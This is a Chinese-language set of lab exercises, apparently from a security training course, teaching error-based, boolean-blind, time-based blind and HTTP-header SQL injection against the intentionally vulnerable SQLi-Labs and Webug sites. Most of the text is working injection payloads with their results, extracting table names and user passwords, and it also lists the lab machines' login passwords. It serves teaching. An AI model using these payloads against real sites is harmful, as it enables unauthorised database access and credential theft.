http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Angelina,I-kill-you。

image.png

(3)显示第3组数据

1
http://[靶机IP]/sqli-labs/Less-1/?id=1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

显示结果为Dummy,p@ssword。

image.png

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。

实验总结

本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,熟悉了floor()、rand()、count()、group by的用法,掌握了基于报错的注入方法和流程。

SQL注入-基于布尔的盲注

实验目的

了解布尔盲注技术的运用场景及条件,熟悉length()、substr()、ascii()等函数的用法,掌握基于布尔的盲注基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

(1)关于布尔盲注

某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。

(2)一些功能函数的说明

length(str):返回字符串(str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。
ascii(str):返回字符串(str)最左边字符的ASCII码。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-8为入口,利用基于布尔的盲注方式获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-8。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-8/

(注意大小写)

image.png

登录后,根据网页提示,给定一个?id=1的参数,即:

1
http://[靶机IP]/sqli-labs/Less-8/?id=1

此时页面显示信息为You are in…,显示状态为True。

image.png

如果给定一个?id=-1的参数,即:

1
http://[靶机IP]/sqli-labs/Less-8/?id=-1

此时页面显示信息为空,显示状态为False。

image.png

可以继续给定不同的id参数进行尝试,发现页面的显示结果只有两种:True或False。由此可以判断,这是一种典型的布尔盲注场景!

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!

image.png

2 寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

1
http://[靶机IP]/sqli-labs/Less-8/?id=1'

运行后页面显示为False!

image.png

1
http://[靶机IP]/sqli-labs/Less-8/?id=1' and '1'='1

运行后页面显示为True!

image.png

1
http://[靶机IP]/sqli-labs/Less-8/?id=1' and '1'='2

运行后页面显示为False!

image.png

由上述结果可以判断,网站存在字符型注入点。

3 盲猜网站当前所在数据库的库名长度

假设当前所在数据库的库名长度为N,尝试使用判断语句length(database())=M,不断变化M的值去猜测,如果M不等于N,页面应该显示为False;如果M等于N,页面应该显示为True。

例如执行如下payload:

1
http://[靶机IP]/sqli-labs/Less-8/?id=1' and length(database())=7--+

显示结果为False,说明网站当前所在数据库的库名长度不是7个字符!

image.png

1
http://[靶机IP]/sqli-labs/Less-8/?id=1' and length(database())=8--+

显示结果为True,说明网站当前所在数据库的库名长度为8个字符!

image.png

4 盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 substr(库名字符串,1,1)=‘a’ 以及 ascii(substr(库名字符串,1,1))=97 返回的结果均应为True(小写字母a的ASCII码为97);

假设库名字符串的第2个字母为b,那么条件判断语句 substr(库名字符串,2,1))=‘b’ 以及 ascii(substr(库名字符串,2,1))=98 返回的结果均应为True(小写字母b的ASCII码为98);

以此类推。

猜测库名的第1个字母:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

库名的第1个字母为s。

image.png

猜测库名的第2个字母:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),2,1)='e'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

库名的第2个字母为e。

image.png

以此类推,最终得到的字符串结果为security。

5 盲猜数据库security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

第1张表的表名的第1个字符为e。

image.png

猜测第1张表的表名的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+

第1张表的表名的第2个字符为m。

image.png

以此类推,得到security库中的第1张表的名字为emails。

(2)猜测第2张表的表名

猜测第2张表的表名的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+

第2张表的表名的第1个字符为r。

image.png

猜测第2张表的表名的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+

第2张表的表名的第2个字符为e。

image.png

以此类推,得到security库中的第2张表的名字为referers。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放着网站用户的基本信息。

6 盲猜users表的全部字段名

(1)猜测第1个字段名

猜测第1个字段名的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+

第1个字段名的第1个字符为i。

image.png

猜测第1个字段名的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=100--+

第1个字段名的第2个字符为d。

image.png

以此类推,得到users表中的第1个字段名为id。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中所有字段名:id、username和password。

7 盲猜users表username和password字段的全部值

(1)猜测第1组数据

猜测第1组数据的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+

第1组数据的第1个字符为D。

image.png

猜测第1组数据的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117--+

第1组数据的第2个字符为u。

image.png

以此类推,得到第1组数据为“Dump,Dump”。

注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=','--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44--+

image.png

(2)猜测第2组数据

猜测第2组数据的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65--+

第2组数据的第1个字符为A。

image.png

猜测第2组数据的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110--+

第2组数据的第2个字符为n。

image.png

以此类推,得到第2组数据为“Angelina,I-kill-you”。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。
实验至此结束。

实验总结

本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,熟悉了length()、substr()等函数的用法,掌握了基于布尔的盲注方法和流程。

SQL注入-基于时间的盲注

实验目的

了解延时盲注技术的运用场景及条件,熟悉length()、substr()、ascii()、sleep()、if()等函数的用法,掌握基于时间的盲注基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

(1)关于时间(延时)盲注

某些场合下,页面只有一种返回结果,使用具有延时功能的函数sleep()、benchmark()等,通过判断这些函数是否正常执行来获取数据库中的数据。

(2)一些功能函数的说明

length(str):返回字符串(str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。
ascii(str):返回字符串(str)最左边字符的ASCII码。
if(expr1,expr2,expr3):条件判断函数,expr1为true则返回expr2,expr1为false则返回expr3。
sleep(N):让语句延迟执行一段时间(N秒),执行成功后返回0。
benchmark(count,expr):让expr执行count次,执行成功后返回0。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-9为入口,利用基于时间的盲注方式获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-9。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-9/

(注意大小写)

image.png

登录后,根据网页提示,给定一个?id=1的参数,即:

1
http://[靶机IP]/sqli-labs/Less-9/?id=1

此时页面显示信息为You are in…。

image.png

如果给定一个?id=-1的参数,即:

1
http://[靶机IP]/sqli-labs/Less-9/?id=-1

此时页面显示信息仍然为You are in…。

image.png

可以继续给定不同的id参数进行尝试,发现页面的显示结果只有一种:You are in…。由此可以判断,这是一种典型的时间(延时)盲注场景!

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入过程中用Hackbar插件来调整payload参数!

image.png

2 寻找注入点

使用sleep()函数判断注入点的类型:

1
http://[靶机IP]/sqli-labs/Less-9/?id=1 and sleep(5)--+

sleep(5)未执行,页面无明显延迟。

image.png

1
http://[靶机IP]/sqli-labs/Less-9/?id=1' and sleep(5)--+

sleep(5)成功执行,页面有明显延迟!

image.png

由上述结果可以判断,网站存在字符型注入点。

3 盲猜网站当前所在数据库的库名长度

假设当前所在数据库的库名长度为N,尝试使用判断语句if((length(database())=M),sleep(5),1),不断变化M的值去猜测,如果M等于N,此时sleep(5)会成功执行,页面应该会有明显延迟。

例如执行如下payload:

1
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(length(database())=7,sleep(5),1)--+

页面无明显延迟,说明网站当前所在数据库的库名长度不是7个字符。

image.png

1
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+

页面有明显延迟,说明网站当前所在数据库的库名长度为8个字符!

image.png

4 盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 if(substr(库名字符串,1,1)=‘a’,sleep(5),1) 以及
if(ascii(substr(库名字符串,1,1))=97,sleep(5),1) 中,sleep(5)能成功执行,页面应该会有明显延迟;

假设库名字符串的第2个字母为b,那么条件判断语句 if(substr(库名字符串,2,1)=‘b’,sleep(5),1) 以及
if(ascii(substr(库名字符串,2,1))=98,sleep(5),1) 中,sleep(5)能成功执行,页面应该会有明显延迟;

以此类推。

猜测库名的第1个字母:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

页面有明显延迟,证明库名的第1个字母为s,猜测正确。

image.png

猜测库名的第2个字母:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明库名的第2个字母为e,猜测正确。

image.png

以此类推,最终得到的字符串结果为security。

5 盲猜数据库security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第1个字符为e,猜测正确。

image.png

猜测第1张表的表名的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第2个字符为m,猜测正确。

image.png

以此类推,得到security库中的第1张表的名字为emails。

(2)猜测第2张表的表名

猜测第2张表的表名的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+

页面有明显延迟,证明第2张表的表名的第1个字符为r,猜测正确。

image.png

猜测第2张表的表名的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明第2张表的表名的第2个字符为e,猜测正确。

image.png

以此类推,得到security库中的第2张表的名字为referers。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放着网站用户的基本信息。

6 盲猜users表的全部字段名

(1)猜测第1个字段名

猜测第1个字段名的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

页面有明显延迟,证明第1个字段名的第1个字符为i,猜测正确。

image.png

猜测第1个字段名的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=100,sleep(5),1)--+

页面有明显延迟,证明第1个字段名的第2个字符为d,猜测正确。

image.png

以此类推,得到users表中的第1个字段名为id。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中所有字段名:id、username和password。

7 盲猜users表username和password字段的全部值

(1)猜测第1组数据

猜测第1组数据的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68,sleep(5),1)--+

页面有明显延迟,证明第1组数据的第1个字符为D,猜测正确。

image.png

猜测第1组数据的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117,sleep(5),1)--+

页面有明显延迟,证明第1组数据的第2个字符为u,猜测正确。

image.png

以此类推,得到第1组数据为“Dump,Dump”。

注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=',',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44,sleep(5),1)--+

image.png

(2)猜测第2组数据

猜测第2组数据的第1个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65,sleep(5),1)--+

页面有明显延迟,证明第2组数据的第1个字符为A,猜测正确。

image.png

猜测第2组数据的第2个字符:

1
2
3
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n',sleep(5),1)--+

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110,sleep(5),1)--+

页面有明显延迟,证明第2组数据的第2个字符为n,猜测正确。

image.png

以此类推,得到第2组数据为“Angelina,I-kill-you”。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。
实验至此结束。

实验总结

本次实验,成功实现了对存在字符型GET注入点的网站的手工SQL注入,熟悉了length()、substr()、ascii()、sleep()、if()等函数的用法,掌握了基于时间的盲注方法和流程。

SQL注入-HTTP头部注入1

实验目的

理解HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理、方法及基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP
Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTP
Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-18为入口,利用报错注入的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。

1 访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11。访问的URL为:

1
http://[靶机IP]/sqli-labs/Less-18/

(注意大小写)

image.png

2 利用Burpsuite工具抓包

(1)启动Burpsuite

在攻击机Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。

image.png

image.png

image.png

image.png

(2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy”->“Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端口)。

image.png

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择选项卡“Proxy”->“Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。

image.png

注意:上述设置完成之后,不要关闭Burpsuite!

(4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择“为全部URLs启用代理服务器127.0.0.1:8080”:

image.png

代理设置成功后,FoxyProxy插件图标会变成蓝色。

image.png

(5)利用Burpsuite工具拦截HTTP请求包

在FireFox浏览器访问的Less-18登录验证界面,输入用户名admin、
密码admin,然后点击Submit按钮,

image.png

此时Burpsuite会拦截到HTTP请求包:

image.png

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

image.png

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

image.png

后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。

3 寻找注入点

在原始HTTP请求包的头部字段User-Agent末尾添加单引号,即使用如下payload:

1
User-Agent:Mozilla/5.0......Firefox/46.0'

发现服务器端报错!

image.png

在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下payload:

1
User-Agent:Mozilla/5.0......Firefox/46.0','','')#

服务器端未报错!

image.png

由此可以判断,目标网站在POST参数处存在字符型注入点。

注:如果在服务器端(靶机)上查看Less-18的php代码,会发现其中存在这样一段代码:

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

这也是一种基于Insert的注入场景。

4 获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

1
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',database())),'','')#

显示结果为security。

image.png

5 获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

1
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#

显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。

image.png

注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为:

1
2
3
4
5
6
7
8
9
10
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#
//显示security库中的第1张表的名字

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#
//显示security库中的第2张表的名字

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#
//显示security库中的第3张表的名字

...

6 获取users表的全部字段名

使用以下payload获取users表的全部字段名:

1
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

显示结果,users表中有id、username和password三个字段。

image.png

同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:

1
2
3
4
5
6
7
8
9
10
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#
//显示users表中的第1个字段的名字

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#
//显示users表中的第2个字段的名字

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#
//显示users表中的第3个字段的名字

...

7 获取users表id、username和password字段的全部值

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示,如

(1)显示第1组数据

1
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

显示结果为Dump,Dump。

image.png

(2)显示第2组数据

1
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))),'','')#

显示结果为Angelina,I-kill-you。

image.png

(3)显示第3组数据

1
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1))),'','')#

显示结果为Dummy,p@ssword。

image.png

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。

实验总结

本次实验,成功实现了对存在HTTP头部(User-Agent)注入点的网站的手工SQL注入,掌握了HTTP头部注入的原理、方法和流程。

SQL注入-HTTP头部注入2

实验目的

理解HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理、方法及基本流程。

实验环境

攻击机:Pentest-Atk

(1)操作系统:Windows 10

(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890

靶机:A-SQLi-Labs

(1)操作系统:CentOS 7

(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP
Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTP
Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。

实验步骤

本实验的目标是:以Webug3.0网站的第五关为入口,利用报错注入的方式实施SQL注入,获取网站后台数据库中存放的flag。

1 访问Webug网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的Webug网站。访问的URL为:

1
http://[靶机IP]/webug/

(注意大小写)

image.png

2 利用Burpsuite工具抓包

(1)启动Burpsuite

在攻击机Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。

image.png

image.png

image.png

image.png

(2)设置Burpsuite的代理服务端口

在Burpsuite软件界面上选择选项卡“Proxy”->“Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端口)。

image.png

(3)开启Burpsuite的代理拦截功能

在Burpsuite软件界面上选择选项卡“Proxy”->“Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。

image.png

注意:上述设置完成之后,不要关闭Burpsuite!

(4)设置Firefox代理

回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择“为全部URLs启用代理服务器127.0.0.1:8080”:

image.png

代理设置成功后,FoxyProxy插件图标会变成蓝色。

image.png

(5)利用Burpsuite工具拦截HTTP请求包

在Webug网站主页选择第五关(“头部的一个注入”):

image.png

此时Burpsuite会拦截到HTTP请求包:

image.png

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块

选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

image.png

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

image.png

后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。

3 寻找注入点

(1)对拦截到的HTTP请求包不做任何修改,直接点击Send发送,此时Response->Pretty下显示的内容:

image.png

Response->Render下显示的内容:

image.png

(2)在原始的HTTP请求包中添加头部字段X-Forwarded-For,并使用如下payload:

1
X-Forwarded-For:a'

此时,服务器端报错!

image.png

image.png

由此可以判断,目标网站在头部字段XFF处存在注入点。

